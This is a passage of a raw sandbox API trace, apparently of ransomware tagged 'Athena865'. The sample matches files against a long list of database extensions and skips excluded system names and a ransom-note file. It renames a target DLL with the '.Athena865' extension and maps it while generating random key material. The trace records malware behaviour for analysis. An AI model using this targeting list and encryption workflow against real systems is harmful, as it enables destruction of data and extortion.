(lpString="vhdx") returned 4 [0112.243] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0112.243] lstrlenW (lpString="avhd") returned 4 [0112.243] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0112.243] lstrlenW (lpString="db") returned 2 [0112.243] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0112.243] lstrlenW (lpString="db2") returned 3 [0112.244] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0112.244] lstrlenW (lpString="db3") returned 3 [0112.244] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0112.244] lstrlenW (lpString="dbf") returned 3 [0112.244] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0112.244] lstrlenW (lpString="mdf") returned 3 [0112.244] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0112.244] lstrlenW (lpString="mdb") returned 3 [0112.244] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0112.244] lstrlenW (lpString="sql") returned 3 [0112.244] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0112.244] lstrlenW (lpString="sqlite") returned 6 [0112.244] lstrcmpiW (lpString1="CH.DLL", lpString2="sqlite") returned -1 [0112.244] lstrlenW (lpString="sqlite3") returned 7 [0112.244] lstrcmpiW (lpString1="XCH.DLL", lpString2="sqlite3") returned 1 [0112.244] lstrlenW (lpString="sqlitedb") returned 8 [0112.244] lstrcmpiW (lpString1="EXCH.DLL", lpString2="sqlitedb") returned -1 [0112.244] lstrlenW (lpString="xml") returned 3 [0112.244] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0112.244] lstrlenW (lpString="$er") returned 3 [0112.244] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0112.244] lstrlenW (lpString="4dd") returned 3 [0112.244] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0112.244] lstrlenW (lpString="4dl") returned 3 [0112.244] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0112.244] lstrlenW (lpString="^^^") returned 3 [0112.244] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0112.244] lstrlenW (lpString="abs") returned 3 [0112.245] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0112.245] lstrlenW (lpString="abx") returned 3 [0112.245] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0112.245] lstrlenW (lpString="accdb") returned 5 [0112.245] lstrcmpiW (lpString1="H.DLL", lpString2="accdb") returned 1 [0112.245] lstrlenW (lpString="accdc") returned 5 [0112.245] lstrcmpiW (lpString1="H.DLL", lpString2="accdc") returned 1 [0112.245] lstrlenW (lpString="accde") returned 5 [0112.245] lstrcmpiW (lpString1="H.DLL", lpString2="accde") returned 1 [0112.245] lstrlenW (lpString="accdr") returned 5 [0112.245] lstrcmpiW (lpString1="H.DLL", lpString2="accdr") returned 1 [0112.245] lstrlenW (lpString="accdt") returned 5 [0112.245] lstrcmpiW (lpString1="H.DLL", lpString2="accdt") returned 1 [0112.245] lstrlenW (lpString="accdw") returned 5 [0112.245] lstrcmpiW (lpString1="H.DLL", lpString2="accdw") returned 1 [0112.245] lstrlenW (lpString="accft") returned 5 [0112.245] lstrcmpiW (lpString1="H.DLL", lpString2="accft") returned 1 [0112.245] lstrlenW (lpString="adb") returned 3 [0112.245] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0112.245] lstrlenW (lpString="adb") returned 3 [0112.245] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0112.245] lstrlenW (lpString="ade") returned 3 [0112.245] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0112.245] lstrlenW (lpString="adf") returned 3 [0112.245] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0112.245] lstrlenW (lpString="adn") returned 3 [0112.245] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0112.245] lstrlenW (lpString="adp") returned 3 [0112.245] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0112.245] lstrlenW (lpString="alf") returned 3 [0112.246] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0112.246] lstrlenW (lpString="ask") returned 3 [0112.246] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0112.246] lstrlenW (lpString="btr") returned 3 [0112.246] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0112.246] lstrlenW (lpString="cat") returned 3 [0112.246] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0112.246] lstrlenW (lpString="cdb") returned 3 [0112.246] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0112.246] lstrlenW (lpString="ckp") returned 3 [0112.246] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0112.246] lstrlenW (lpString="cma") returned 3 [0112.246] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0112.246] lstrlenW (lpString="cpd") returned 3 [0112.246] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0112.246] lstrlenW (lpString="dacpac") returned 6 [0112.246] lstrcmpiW (lpString1="CH.DLL", lpString2="dacpac") returned -1 [0112.246] lstrlenW (lpString="dad") returned 3 [0112.246] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0112.246] lstrlenW (lpString="dadiagrams") returned 10 [0112.246] lstrcmpiW (lpString1="CEEXCH.DLL", lpString2="dadiagrams") returned -1 [0112.246] lstrlenW (lpString="daschema") returned 8 [0112.246] lstrcmpiW (lpString1="EXCH.DLL", lpString2="daschema") returned 1 [0112.246] lstrlenW (lpString="db-journal") returned 10 [0112.246] lstrcmpiW (lpString1="CEEXCH.DLL", lpString2="db-journal") returned -1 [0112.246] lstrlenW (lpString="db-shm") returned 6 [0112.246] lstrcmpiW (lpString1="CH.DLL", lpString2="db-shm") returned -1 [0112.246] lstrlenW (lpString="db-wal") returned 6 [0112.246] lstrcmpiW (lpString1="CH.DLL", lpString2="db-wal") returned -1 [0112.246] lstrlenW (lpString="dbc") returned 3 [0112.246] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0112.247] lstrlenW (lpString="dbs") returned 3 [0112.247] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0112.247] lstrlenW (lpString="dbt") returned 3 [0112.247] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0112.247] lstrlenW (lpString="dbv") returned 3 [0112.247] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0112.247] lstrlenW (lpString="dbx") returned 3 [0112.247] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0112.247] lstrlenW (lpString="dcb") returned 3 [0112.247] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0112.247] lstrlenW (lpString="dct") returned 3 [0112.247] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0112.247] lstrlenW (lpString="dcx") returned 3 [0112.247] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0112.247] lstrlenW (lpString="ddl") returned 3 [0112.247] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0112.247] lstrlenW (lpString="dlis") returned 4 [0112.247] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0112.247] lstrlenW (lpString="dp1") returned 3 [0112.247] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0112.247] lstrlenW (lpString="dqy") returned 3 [0112.247] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0112.247] lstrlenW (lpString="dsk") returned 3 [0112.247] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0112.247] lstrlenW (lpString="dsn") returned 3 [0112.247] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0112.247] lstrlenW (lpString="dtsx") returned 4 [0112.247] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0112.247] lstrlenW (lpString="dxl") returned 3 [0112.247] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0112.248] lstrlenW (lpString="eco") returned 3 [0112.248] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0112.248] lstrlenW (lpString="ecx") returned 3 [0112.248] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0112.248] lstrlenW (lpString="edb") returned 3 [0112.248] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0112.248] lstrlenW (lpString="epim") returned 4 [0112.248] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0112.248] lstrlenW (lpString="fcd") returned 3 [0112.248] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0112.248] lstrlenW (lpString="fdb") returned 3 [0112.248] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0112.248] lstrlenW (lpString="fic") returned 3 [0112.248] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0112.248] lstrlenW (lpString="flexolibrary") returned 12 [0112.248] lstrlenW (lpString="fm5") returned 3 [0112.248] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0112.248] lstrlenW (lpString="fmp") returned 3 [0112.248] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0112.248] lstrlenW (lpString="fmp12") returned 5 [0112.248] lstrcmpiW (lpString1="H.DLL", lpString2="fmp12") returned 1 [0112.248] lstrlenW (lpString="fmpsl") returned 5 [0112.248] lstrcmpiW (lpString1="H.DLL", lpString2="fmpsl") returned 1 [0112.248] lstrlenW (lpString="fol") returned 3 [0112.248] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0112.248] lstrlenW (lpString="fp3") returned 3 [0112.248] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0112.248] lstrlenW (lpString="fp4") returned 3 [0112.248] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0112.248] lstrlenW (lpString="fp5") returned 3 [0112.248] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0112.249] lstrlenW (lpString="fp7") returned 3 [0112.249] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0112.249] lstrlenW (lpString="fpt") returned 3 [0112.249] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0112.249] lstrlenW (lpString="frm") returned 3 [0112.249] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0112.249] lstrlenW (lpString="gdb") returned 3 [0112.249] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0112.249] lstrlenW (lpString="gdb") returned 3 [0112.249] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0112.249] lstrlenW (lpString="grdb") returned 4 [0112.249] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0112.249] lstrlenW (lpString="gwi") returned 3 [0112.249] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0112.249] lstrlenW (lpString="hdb") returned 3 [0112.249] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0112.249] lstrlenW (lpString="his") returned 3 [0112.249] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0112.249] lstrlenW (lpString="ib") returned 2 [0112.249] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0112.249] lstrlenW (lpString="idb") returned 3 [0112.249] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0112.249] lstrlenW (lpString="ihx") returned 3 [0112.249] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0112.249] lstrlenW (lpString="itdb") returned 4 [0112.249] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0112.249] lstrlenW (lpString="itw") returned 3 [0112.249] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0112.249] lstrlenW (lpString="jet") returned 3 [0112.249] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0112.250] lstrlenW (lpString="jtx") returned 3 [0112.250] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0112.250] lstrlenW (lpString="kdb") returned 3 [0112.250] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0112.250] lstrlenW (lpString="kexi") returned 4 [0112.250] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0112.250] lstrlenW (lpString="kexic") returned 5 [0112.250] lstrcmpiW (lpString1="H.DLL", lpString2="kexic") returned -1 [0112.250] lstrlenW (lpString="kexis") returned 5 [0112.250] lstrcmpiW (lpString1="H.DLL", lpString2="kexis") returned -1 [0112.250] lstrlenW (lpString="lgc") returned 3 [0112.250] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0112.250] lstrlenW (lpString="lwx") returned 3 [0112.250] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0112.250] lstrlenW (lpString="maf") returned 3 [0112.250] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0112.250] lstrlenW (lpString="maq") returned 3 [0112.250] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0112.250] lstrlenW (lpString="mar") returned 3 [0112.250] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0112.250] lstrlenW (lpString="marshal") returned 7 [0112.250] lstrcmpiW (lpString1="XCH.DLL", lpString2="marshal") returned 1 [0112.250] lstrlenW (lpString="mas") returned 3 [0112.250] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0112.250] lstrlenW (lpString="mav") returned 3 [0112.250] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0112.250] lstrlenW (lpString="maw") returned 3 [0112.250] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0112.250] lstrlenW (lpString="mdbhtml") returned 7 [0112.250] lstrcmpiW (lpString1="XCH.DLL", lpString2="mdbhtml") returned 1 [0112.251] lstrlenW (lpString="mdn") returned 3 [0112.251] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0112.251] lstrlenW (lpString="mdt") returned 3 [0112.251] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0112.251] lstrlenW (lpString="mfd") returned 3 [0112.251] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0112.251] lstrlenW (lpString="mpd") returned 3 [0112.251] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0112.251] lstrlenW (lpString="mrg") returned 3 [0112.251] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0112.251] lstrlenW (lpString="mud") returned 3 [0112.251] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0112.251] lstrlenW (lpString="mwb") returned 3 [0112.251] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0112.251] lstrlenW (lpString="myd") returned 3 [0112.251] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0112.251] lstrlenW (lpString="ndf") returned 3 [0112.251] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0112.251] lstrlenW (lpString="nnt") returned 3 [0112.251] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0112.251] lstrlenW (lpString="nrmlib") returned 6 [0112.251] lstrcmpiW (lpString1="CH.DLL", lpString2="nrmlib") returned -1 [0112.251] lstrlenW (lpString="ns2") returned 3 [0112.251] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0112.251] lstrlenW (lpString="ns3") returned 3 [0112.251] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0112.251] lstrlenW (lpString="ns4") returned 3 [0112.251] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0112.252] lstrlenW (lpString="nsf") returned 3 [0112.252] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0112.252] lstrlenW (lpString="nv") returned 2 [0112.252] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0112.252] lstrlenW (lpString="nv2") returned 3 [0112.252] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0112.252] lstrlenW (lpString="nwdb") returned 4 [0112.252] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0112.252] lstrlenW (lpString="nyf") returned 3 [0112.252] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0112.252] lstrlenW (lpString="odb") returned 3 [0112.252] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0112.252] lstrlenW (lpString="odb") returned 3 [0112.252] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0112.252] lstrlenW (lpString="oqy") returned 3 [0112.252] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0112.252] lstrlenW (lpString="ora") returned 3 [0112.252] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0112.252] lstrlenW (lpString="orx") returned 3 [0112.252] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0112.252] lstrlenW (lpString="owc") returned 3 [0112.252] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0112.252] lstrlenW (lpString="p96") returned 3 [0112.252] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0112.252] lstrlenW (lpString="p97") returned 3 [0112.252] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0112.252] lstrlenW (lpString="pan") returned 3 [0112.252] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0112.252] lstrlenW (lpString="pdb") returned 3 [0112.252] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0112.253] lstrlenW (lpString="pdm") returned 3 [0112.253] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0112.253] lstrlenW (lpString="pnz") returned 3 [0112.253] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0112.253] lstrlenW (lpString="qry") returned 3 [0112.253] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0112.253] lstrlenW (lpString="qvd") returned 3 [0112.253] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0112.253] lstrlenW (lpString="rbf") returned 3 [0112.253] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0112.253] lstrlenW (lpString="rctd") returned 4 [0112.253] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0112.253] lstrlenW (lpString="rod") returned 3 [0112.253] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0112.253] lstrlenW (lpString="rodx") returned 4 [0112.253] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0112.253] lstrlenW (lpString="rpd") returned 3 [0112.253] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0112.253] lstrlenW (lpString="rsd") returned 3 [0112.253] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0112.253] lstrlenW (lpString="sas7bdat") returned 8 [0112.253] lstrcmpiW (lpString1="EXCH.DLL", lpString2="sas7bdat") returned -1 [0112.253] lstrlenW (lpString="sbf") returned 3 [0112.253] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0112.253] lstrlenW (lpString="scx") returned 3 [0112.253] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0112.253] lstrlenW (lpString="sdb") returned 3 [0112.253] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0112.253] lstrlenW (lpString="sdc") returned 3 [0112.253] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0112.253] lstrlenW (lpString="sdf") returned 3 [0112.254] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0112.254] lstrlenW (lpString="sis") returned 3 [0112.254] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0112.254] lstrlenW (lpString="spq") returned 3 [0112.254] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0112.254] lstrlenW (lpString="te") returned 2 [0112.254] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0112.254] lstrlenW (lpString="teacher") returned 7 [0112.254] lstrcmpiW (lpString1="XCH.DLL", lpString2="teacher") returned 1 [0112.254] lstrlenW (lpString="tmd") returned 3 [0112.254] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0112.254] lstrlenW (lpString="tps") returned 3 [0112.254] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0112.254] lstrlenW (lpString="trc") returned 3 [0112.254] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0112.254] lstrlenW (lpString="trc") returned 3 [0112.254] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0112.254] lstrlenW (lpString="trm") returned 3 [0112.254] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0112.254] lstrlenW (lpString="udb") returned 3 [0112.254] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0112.254] lstrlenW (lpString="udl") returned 3 [0112.254] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0112.254] lstrlenW (lpString="usr") returned 3 [0112.254] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0112.254] lstrlenW (lpString="v12") returned 3 [0112.254] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0112.254] lstrlenW (lpString="vis") returned 3 [0112.254] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0112.254] lstrlenW (lpString="vpd") returned 3 [0112.255] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0112.255] lstrlenW (lpString="vvv") returned 3 [0112.255] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0112.255] lstrlenW (lpString="wdb") returned 3 [0112.255] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0112.255] lstrlenW (lpString="wmdb") returned 4 [0112.255] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0112.255] lstrlenW (lpString="wrk") returned 3 [0112.255] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0112.255] lstrlenW (lpString="xdb") returned 3 [0112.255] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0112.255] lstrlenW (lpString="xld") returned 3 [0112.255] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0112.255] lstrlenW (lpString="xmlff") returned 5 [0112.255] lstrcmpiW (lpString1="H.DLL", lpString2="xmlff") returned -1 [0112.255] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.Athena865") returned 77 [0112.255] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll.athena865"), dwFlags=0x1) returned 1 [0112.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0112.257] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=442272) returned 1 [0112.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0112.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0112.257] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0112.257] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0112.258] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0112.258] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.258] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c2a0, lpName=0x0) returned 0x154 [0112.260] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c2a0) returned 0x2d50000 [0112.280] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0112.281] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0112.281] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0112.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0112.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0112.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0112.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0112.281] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0112.282] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0112.282] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.282] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0112.282] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0112.285] CloseHandle (hObject=0x154) returned 1 [0112.286] CloseHandle (hObject=0x17c) returned 1 [0112.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0112.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0112.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0112.287] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1 [0112.288] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0112.288] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0112.288] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2=".") returned 1 [0112.288] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="..") returned 1 [0112.288] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="windows") returned -1 [0112.288] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="bootmgr") returned -1 [0112.288] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="temp") returned -1 [0112.288] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="pagefile.sys") returned -1 [0112.288] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="boot") returned -1 [0112.288] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="ids.txt") returned -1 [0112.288] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="ntuser.dat") returned -1 [0112.288] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="perflogs") returned -1 [0112.288] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2="MSBuild") returned -1 [0112.288] lstrlenW (lpString="ACEEXCL.DLL") returned 11 [0112.288] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ACEEXCL.DLL" | out: lpString1="ACEEXCL.DLL") returned="ACEEXCL.DLL" [0112.288] lstrlenW (lpString="ACEEXCL.DLL") returned 11 [0112.288] lstrlenW (lpString="Athena865") returned 9 [0112.288] lstrcmpiW (lpString1="EEXCL.DLL", lpString2="Athena865") returned 1 [0112.288] lstrlenW (lpString=".dll") returned 4 [0112.288] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2=".dll") returned 1 [0112.288] lstrlenW (lpString=".lnk") returned 4 [0112.288] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2=".lnk") returned 1 [0112.288] lstrlenW (lpString=".ini") returned 4 [0112.288] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2=".ini") returned 1 [0112.288] lstrlenW (lpString=".sys") returned 4 [0112.288] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2=".sys") 